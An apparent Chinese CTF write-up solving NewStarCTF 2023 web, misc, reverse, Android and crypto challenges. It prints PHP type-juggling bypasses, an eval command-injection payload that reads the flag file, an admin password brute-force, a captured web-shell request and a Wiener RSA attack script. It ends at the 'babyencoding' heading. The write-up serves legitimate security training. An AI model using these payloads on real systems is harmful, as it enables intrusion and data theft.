这道题有点奇怪,看到flask以为是SSTI,结果打开容器随便传个number1={{}},发现DEBUG模式没关,结果flag直接写到源代码里直接能看见,直接拿到flag:flag{Y0u_@re_3enset1ve_4bout_deb8g} Begin of PHP 上来容器直接给出代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } } if($flag1){ echo "=Level 2=<br>"; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } } if($flag2){ echo "=Level 3=<br>"; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } } if($flag3){ echo "=Level 4=<br>"; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } } if($flag4){ echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } } 先看level1,要保证$_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])为 True,发现md5直接的判断是==而不是===,直接0e碰撞即可,随便找两个240610708和QLTHNDT就行。 再看level2,保证md5($_POST['key3']) === sha1($_POST['key3']为 True,中间是===,没办法再用level1的0e碰撞了,这里一个小技巧直接POST传key3[]=即可,这里key3直接被识别成数组了,导致两个函数都返回false。 接下来level3,保证strcmp($_GET['key4'],file_get_contents("/flag")) == 0为 True,继续用key4[]=,用数组的方式让其返回false 然后level4,保证!is_numeric($_GET['key5']) && $_GET['key5'] > 2023为 True,传key5=2024a,当它与2023比较时就会比它大,而且还识别不出它是数字。 最后level5,要保证它不能全是字母和数字,还要保证flag5变量是True,POST传flag5=-即可。 拿到flag:flag{35c5a11f-c06d-4178-9fb8-b4f97d3e9796} R!C!E! 打开容器,贴上代码 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__); if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){ $password=md5($_POST['password']); $code=$_POST['e_v.a.l']; if(substr($password,0,6)==="c4d038"){ if(!preg_match("/flag|system|pass|cat|ls/i",$code)){ eval($code); } } } 要保证password的md5前6位是c4d038,同时code中不能含有一些敏感的单词。 这里贴上我跑MD5的脚本,写的不好,但是勉强能跑 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import hashlib import itertools import string import threading # 需要遍历的字符集 characters = string.digits + string.ascii_letters def generate_combinations(length): for combo in itertools.product(characters, repeat=length): yield ''.join(combo) def calculate_md5(string): md5_hash = hashlib.md5() # 创建MD5对象 md5_hash.update(string.encode()) # 更新对象哈希值 md5_digest = md5_hash.hexdigest() # 获取哈希值的十六进制表示 return md5_digest def find_md5_match(prefix): for combo in generate_combinations(len(prefix)): string = prefix + combo md5 = calculate_md5(string) if md5[0:6] == 'c4d038': print(f"{string} MD5哈希值: {md5}") # 测试计算MD5 input_string = "0" threads = [] for i in range(6): # 根据实际情况设置线程数量 prefix = input_string * i thread = threading.Thread(target=find_md5_match, args=(prefix,)) threads.append(thread) thread.start() for thread in threads: thread.join() print(f"{input_string}dddMD5哈希值: {md5}") 随便跑出来一个0000006sNj 接着直接传 1 e[v.a.l=echo `cat /f*` 这里注意要用[代替_,这算是一个php特性。 EasyLogin 打开容器,看到一个登录注册页面,拿burp抓包,最开始以为是sql注入,但是注入发现提示不是注入。 随便注册一个账号admin1,登录后发现是一个静态的shell,javascript代码审计一下,发现 1 "echo -en '\\nnewstar\\nnewstar2023' >> weak-passwd.txt && \\\nexport PASSWORD=`shuf weak-passwd.txt | head -n 1` && \\\nrm -rf weak-passwd.txt"),applyAutoComplete(le),await sleep(800),term.writeln(WELCOME_TEXT),readInput(),le.detach(),await sleep(200),le.attach(),le.pushInput("chat"),le.confirm(),await sleep(200),le.pushInput("你会说中文吗?") 提示weak-passwd.txt弱口令,再加上注册时发现admin用户已经被注册,使用burp直接爆破密码。 发现admin弱口令是000000 登录,并拦截返回包,javascript审计,发现提示 1 "echo Maybe you need BurpSuite." 清除cookie重新登录,拦截passport的返回包,得到flag:flag{97222ac1-f6d3-49c1-b1e6-05778420cfe2} Misc 解题 5/6 CyberChef’s Secret 签到题,打开后看到M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=,进入cyberchef.org,一把梭,拿到flag:flag{Base_15_S0_Easy_^_^}。 机密图片 zsteg工具 执行zsteg secret.png得到 1 2 3 4 5 6 b1,r,lsb,xy .. text: ":=z^rzwPQb" b1,g,lsb,xy .. file: OpenPGP Public Key b1,b,lsb,xy .. file: OpenPGP Secret Key b1,rgb,lsb,xy .. text: "flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}" b3,b,lsb,xy .. file: very old 16-bit-int big-endian archive b4,bgr,msb,xy .. file: MPEG ADTS, layer I, v2, 112 kbps, 24 kHz, JntStereo 拿到flag:flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece} 流量!鲨鱼! wireshark打开发现流量1.php%3fcmd=ls%20-al%20内容为 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 total 80 drwxr-xr-x 1 root root 4096 Aug 19 06:17 . drwxr-xr-x 1 root root 4096 Aug 19 06:17 .. -rwxr-xr-x 1 root root 0 Aug 19 06:08 .dockerenv -rw-r--r-- 1 root root 39 Aug 19 06:17 .ffffllllllll11111144444GGGGGG drwxr-xr-x 1 root root 4096 Dec 21 2021 bin drwxr-xr-x 2 root root 4096 Dec 11 2021 boot drwxr-xr-x 5 root root 360 Aug 19 06:08 dev drwxr-xr-x 1 root root 4096 Aug 19 06:08 etc drwxr-xr-x 2 root root 4096 Dec 11 2021 home drwxr-xr-x 1 root root 4096 Dec 21 2021 lib drwxr-xr-x 2 root root 4096 Dec 20 2021 lib64 drwxr-xr-x 2 root root 4096 Dec 20 2021 media drwxr-xr-x 2 root root 4096 Dec 20 2021 mnt drwxr-xr-x 2 root root 4096 Dec 20 2021 opt dr-xr-xr-x 248 root root 0 Aug 19 06:08 proc drwx------ 1 root root 4096 Aug 19 06:17 root drwxr-xr-x 1 root root 4096 Dec 21 2021 run drwxr-xr-x 1 root root 4096 Dec 21 2021 sbin drwxr-xr-x 2 root root 4096 Dec 20 2021 srv dr-xr-xr-x 13 root root 0 Aug 19 06:08 sys drwxrwxrwt 1 root root 4096 Dec 21 2021 tmp drwxr-xr-x 1 root root 4096 Dec 20 2021 usr drwxr-xr-x 1 root root 4096 Dec 21 2021 var 发现啊flag名字.ffffllllllll11111144444GGGGGG 启动过滤器frame contains ffffllllllll11111144444GGGGGG,追踪HTTP流,看到flag的两次base64编码:Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=,base64解密两次得到:flag{Wri35h4rk_1s_u53ful_b72a609537e6} 压缩包们 下载后发现打不开 使用binwalk,binwalk -e task_1 ,得到一个压缩包,bandizip打开发现base64编码的注释SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==,base64解密后得到I like six-digit numbers because they are very concise and easy to remember.,拿爆破工具直接爆破密码,得到232311,拿到flag:flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc} 空白格 下载后发现都是空格、Tab和换行,联想到WhiteSpace语言,在网上随便找一个WhiteSpace在线运行环境whitespace在线运行,在线工具,在线编译IDE_w3cschool,运行得到flag:flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04} Reverse 解题 7/8 easy_RE 下载程序,拖到ida里面打开,能看见flag的前半部分flag{we1c0m F5反编译,看到后半部分e_to_rev3rse!!},得到完整flag:flag{we1c0me_to_rev3rse!!} 咳 Upx脱壳upx -d KE.exe 反编译代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __cdecl main(int argc, const char **argv, const char **envp) { unsigned __int64 i; // r10 char *v4; // kr00_8 char Str1[96]; // [rsp+20h] [rbp-88h] BYREF int v7; // [rsp+80h] [rbp-28h] _main(); memset(Str1, 0, sizeof(Str1)); v7 = 0; Hello(); scanf("%s", Str1); for ( i = 0i64; ; ++i ) { v4 = &Str1[strlen(Str1)]; if ( i >= v4 - Str1 ) break; ++Str1[i]; } if ( !strncmp(Str1, enc, v4 - Str1) ) puts("WOW!!"); else puts("I believe you can do it!"); system("pause"); return 0; } 其中enc是gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~, 写一个python脚本解密 1 2 3 a='gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~' for i in a: print(chr(ord(i)-1),end='') 得到flag:flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1} Segments 下载附件,拖到ida里,提示shift+F7,直接按,发现段名字中藏着flag flag{You_ar3_g0od_at_f1nding_ELF_segments_name} ELF 反编译,得到c代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // edx char *s1; // [rsp+0h] [rbp-20h] char *v6; // [rsp+8h] [rbp-18h] char *s; // [rsp+10h] [rbp-10h] s = (char *)malloc(0x64uLL); printf("Input flag: "); fgets(s, 100, stdin); s[strcspn(s, "\n")] = 0; v6 = (char *)encode(s); v3 = strlen(v6); s1 = (char *)base64_encode(v6, v3); if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") ) puts("Correct"); else puts("Wrong"); free(v6); free(s1); free(s); return 0; } 发现base64,对字符串进行解密 得到V\QWkt $_e'^_ggXQ'u|v!c/m 分析encode函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 _BYTE *__fastcall encode(const char *a1) { size_t v1; // rax int v2; // eax _BYTE *v4; // [rsp+20h] [rbp-20h] int i; // [rsp+28h] [rbp-18h] int v6; // [rsp+2Ch] [rbp-14h] v1 = strlen(a1); v4 = malloc(2 * v1 + 1); v6 = 0; for ( i = 0; i < strlen(a1); ++i ) { v2 = v6++; v4[v2] = (a1[i] ^ 0x20) + 16; } v4[v6] = 0; return v4; } 写出python解密脚本 1 2 3 4 5 a='V\QWkt $_e\'^_ggXQ\'u|v!c/m' b='' for i in a: b+=chr((ord(i)-16)^0x20) print(b) 得到flag:flag{D04ou7nowwha7ELF1s?} Endian 反编译,得到: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main(int argc, const char **argv, const char **envp) { int i; // [rsp+4h] [rbp-3Ch] char *v5; // [rsp+8h] [rbp-38h] char v6[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsqword(0x28u); puts("please input your flag"); __isoc99_scanf("%s", v6); v5 = v6; for ( i = 0; i <= 4; ++i ) { if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) ) { printf("wrong!"); exit(0); } v5 += 4; } printf("you are right"); return 0; } 其中array为dd 75553A1Eh, 7B583A03h, 4D58220Ch, 7B50383Dh, 736B3819h, 0,shift+e提取数组元素,写出python脚本 1 2 3 4 5 6 7 8 9 10 11 12 arrr=[ 1968519710, 2069379587, 1297621516, 2068854845, 1936406553, 0 ] for i in arrr: h=((i^0x12345678)) value = h nums = [] while value > 0: nums.append(hex(value & 0xFF)) # 取出低位部分,并转换为16进制字符串 value >>= 8 # 右移8位,获取下一个位置的部分 nums_str = [chr(int(num,16)) for num in nums] result_str = ''.join(nums_str) print(result_str,end='') 执行拿到flag:flag{llittl_Endian_axV4 修改一下得到最后flag:flag{llittl_Endian_a} AndroXor Android killer打开,java反编译,入口处com.chick.androxor.MainActivity得到关键函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public String Xor(String paramString1, String paramString2) { char[] arrayOfChar = new char[paramString1.length()]; int i = paramString1.length(); String str1 = "wrong!!!"; String str2; if (i != 25) { str2 = "wrong!!!"; } else { str2 = "you win!!!"; } for (i = 0; i < paramString1.length(); i++) { int j = (char)(paramString1.charAt(i) ^ paramString2.charAt(i % paramString2.length())); arrayOfChar[i] = ((char)j); if (new char[] { 14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13 }[i] != j) { str2 = str1; break; } } return str2; } 在com.chick.androxor.MainActivity$1类中得到key为happyx3 1 2 3 4 5 6 7 public void onClick(View paramView) { String str = this.val$password.getText().toString(); paramView = this.this$0; Toast.makeText(paramView, paramView.Xor(str, "happyx3"), 1).show(); Log.d("输入", this.val$password.getText().toString()); } 编写python脚本 1 2 3 4 5 6 7 8 key = "happyx3" cipher = [14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13] result = "" for i in range(len(cipher)): result += chr(cipher[i] ^ ord(key[i % len(key)])) print(result) 得到flag:flag{3z_And0r1d_X0r_x1x1} lazy_activtiy 安装apk后打开发现要求我们打开另一个Activity来获得flag 查看apk配置文件AndroidManifest.xml 1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.droidlearn.activity_travel" platformBuildVersionCode="32" platformBuildVersionName="12"> <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Activity_Travel"> <activity android:exported="false" android:name="com.droidlearn.activity_travel.FlagActivity"/> <activity android:exported="true" android:name="com.droidlearn.activity_travel.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest> 将入口处改为FlagActivity,并且把FlagActivity的exported改为true 改后xml文件如下 1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.droidlearn.activity_travel" platformBuildVersionCode="32" platformBuildVersionName="12"> <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Activity_Travel"> <activity android:exported="true" android:name="com.droidlearn.activity_travel.FlagActivity"/> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> <activity android:exported="true" android:name="com.droidlearn.activity_travel.MainActivity"> </activity> </application> </manifest> 重新编译后打开,发现要求点击按钮10000次才能获得flag。 分析smali语句 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 .class Lcom/droidlearn/activity_travel/FlagActivity$1; .super Ljava/lang/Object; .source "FlagActivity.java" # interfaces .implements Landroid/view/View$OnClickListener; # annotations .annotation system Ldalvik/annotation/EnclosingMethod; value = Lcom/droidlearn/activity_travel/FlagActivity;->onCreate(Landroid/os/Bundle;)V .end annotation .annotation system Ldalvik/annotation/InnerClass; accessFlags = 0x0 name = null .end annotation # instance fields .field final synthetic this$0:Lcom/droidlearn/activity_travel/FlagActivity; .field final synthetic val$str:Landroid/widget/EditText; .field final synthetic val$tv_cnt:Landroid/widget/TextView; # direct methods .method constructor <init>(Lcom/droidlearn/activity_travel/FlagActivity;Landroid/widget/TextView;Landroid/widget/EditText;)V .locals 0 .line 20 iput-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; iput-object p2, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$tv_cnt:Landroid/widget/TextView; iput-object p3, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$str:Landroid/widget/EditText; invoke-direct {p0}, Ljava/lang/Object;-><init>()V return-void .end method # virtual methods .method public onClick(Landroid/view/View;)V .locals 2 .line 23 iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$tv_cnt:Landroid/widget/TextView; iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; invoke-static {v0}, Lcom/droidlearn/activity_travel/FlagActivity;->access$004(Lcom/droidlearn/activity_travel/FlagActivity;)I move-result v0 invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String; move-result-object v0 invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V .line 24 iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; invoke-static {p1}, Lcom/droidlearn/activity_travel/FlagActivity;->access$000(Lcom/droidlearn/activity_travel/FlagActivity;)I move-result p1 const/16 v0, 0x2710 if-lt p1, v0, :cond_0 .line 25 iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$str:Landroid/widget/EditText; invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v0 invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; move-result-object v0 const/4 v1, 0x0 invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; move-result-object p1 invoke-virtual {p1}, Landroid/widget/Toast;->show()V :cond_0 return-void .end method 发现其中的const/16 v0, 0x2710,其存储为点击次数,将其改为0x1,重新编译安装,打开后点击按钮直接得到flag flag{Act1v1ty_!s_so00oo0o_lmpor#an#} Crypto 解题 10/10 brainfuck 下载附件,得到 1 ++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++. Brainfuck/OoK加密解密 - Bugku CTF,解密一下,得到flag:flag{Oiiaioooooiai#b7c0b1866fe58e12} Caesar’s Secert 打开附件,得到kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed} 凯撒枚举凯撒(Caesar)加密/解密 - Bugku CTF,得到flag:flag{ca3s4r's_c1pher_i5_v4ry_3azy} Fence 附件内容:fa{ereigtepanet6680}lgrodrn_h_litx#8fc3 栅栏加密栅栏加密/解密 - Bugku CTF,枚举解密,得到flag:flag{reordering_the_plaintext#686f8c03} Vigenère 附件:pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0} 维吉尼亚解密维吉尼亚加密/解密 - Bugku CTF,密钥用flag前4个字母尝试一下得到:KFC 得到flag:flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0} babyrsa 打开附件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import * from flag import flag def gen_prime(n): res = 1 for i in range(15): res *= getPrime(n) return res if __name__ == '__main__': n = gen_prime(32) e = 65537 m = bytes_to_long(flag) c = pow(m,e,n) print(n) print(c) # 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261 # 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595 使用大整数分解网站factordb.com,将其分解为多个质数之积 1 1729006607...61<143> = 2217990919<10> · 2338725373<10> · 2370292207<10> · 2463878387<10> · 2706073949<10> · 2794985117<10> · 2804303069<10> · 2923072267<10> · 2970591037<10> · 3207148519<10> · 3654864131<10> · 3831680819<10> · 3939901243<10> · 4093178561<10> · 4278428893<10> 解密 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from Crypto.Util.number import inverse n = 2217990919 * 2338725373 * 2370292207 * 2463878387 * 2706073949 * 2794985117 * 2804303069 * 2923072267 * 2970591037 * 3207148519 * 3654864131 * 3831680819 * 3939901243 * 4093178561 * 4278428893 e = 65537 c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595 # 尝试分解 n factors = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893] # 计算 phi(n) phi_n = 1 for factor in factors: phi_n *= (factor - 1) # 计算私钥 d d = inverse(e, phi_n) # 解密密文得到明文 m = pow(c, d, n) # 将明文转换为字节形式 flag = m.to_bytes((m.bit_length() + 7) // 8, 'big') print(flag) Small d 打开附件py代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from secret import flag from Crypto.Util.number import * p = getPrime(1024) q = getPrime(1024) d = getPrime(32) e = inverse(d, (p-1)*(q-1)) n = p*q m = bytes_to_long(flag) c = pow(m,e,n) print(c) print(e) print(n) # c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248 # e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825 # n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433 看到d数值比较小,使用低解密指数攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 import gmpy2 from Crypto.PublicKey import RSA from Crypto.Util.number import long_to_bytes def rational_to_contfrac(x,y): ''' Converts a rational x/y fraction into a list of partial quotients [a0, ..., an] ''' a = x//y pquotients = [a] while a * y != x: x,y = y,x-a*y a = x//y pquotients.append(a) return pquotients def convergents_from_contfrac(frac): ''' computes the list of convergents using the list of partial quotients ''' convs = []; for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0:i])) return convs def contfrac_to_rational (frac): '''Converts a finite continued fraction [a0, ..., an] to an x/y rational. ''' if len(frac) == 0: return (0,1) num = frac[-1] denom = 1 for _ in range(-2,-len(frac)-1,-1): num, denom = frac[_]*num+denom, num return (num,denom) def egcd(a,b): ''' Extended Euclidean Algorithm returns x, y, gcd(a,b) such that ax + by = gcd(a,b) ''' u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return u, v, a def gcd(a,b): ''' 2.8 times faster than egcd(a,b)[2] ''' a,b=(b,a) if a<b else (a,b) while b: a,b=b,a%b return a def modInverse(e,n): ''' d such that de = 1 (mod n) e must be coprime to n this is assumed to be true ''' return egcd(e,n)[0]%n def totient(p,q): ''' Calculates the totient of pq ''' return (p-1)*(q-1) def bitlength(x): ''' Calculates the bitlength of x ''' assert x >= 0 n = 0 while x > 0: n = n+1 x = x>>1 return n def isqrt(n): ''' Calculates the integer square root for arbitrary large nonnegative integers ''' if n < 0: raise ValueError('square root not defined for negative numbers') if n == 0: return 0 a, b = divmod(bitlength(n), 2) x = 2**(a+b) while True: y = (x + n//x)//2 if y >= x: return x x = y def is_perfect_square(n): ''' If n is a perfect square it returns sqrt(n), otherwise returns -1 ''' h = n & 0xF; #last hexadecimal "digit" if h > 9: return -1 # return immediately in 6 cases out of 16. # Take advantage of Boolean short-circuit evaluation if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ): # take square root if you must t = isqrt(n) if t*t == n: return t else: return -1 return -1 def wiener_hack(e, n): frac = rational_to_contfrac(e, n) convergents = convergents_from_contfrac(frac) for (k, d) in convergents: if k != 0 and (e * d - 1) % k == 0: phi = (e * d - 1) // k s = n - phi + 1 discr = s * s - 4 * n if (discr >= 0): t = is_perfect_square(discr) if t != -1 and (s + t) % 2 == 0: print("Hacked!") return d return False def main(): n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433 e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825 c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248 d = wiener_hack(e, n) m = pow(c,d,n) print (long_to_bytes(m)) if __name__=="__main__": main() 拿到flag:flag{learn_some_continued_fraction_technique#dc16885c} babyxor 打开附件,得到一段python: 1 2 3 4 5 6 7 8 9 from secret import * ciphertext = [] for f in flag: ciphertext.append(f ^ key) print(bytes(ciphertext).hex()) # e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2 由于已知flag是flag{开头的,所以我们可以得到key的值,编写解密脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ciphertext_hex = 'e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2' # 将16进制字符串转换为字节列表 ciphertext_bytes = bytes.fromhex(ciphertext_hex) # 解密密文 plaintext = [] for c in ciphertext_bytes: print(chr(ord(chr(c))^143),end='') #plaintext.append(c ^ key) # 将字节列表转换为字符串 plaintext_str = ''.join([chr(p) for p in plaintext]) print(plaintext_str) 得到flag:flag{x0r_15_symm3try_and_e4zy!!!!!!} babyencoding 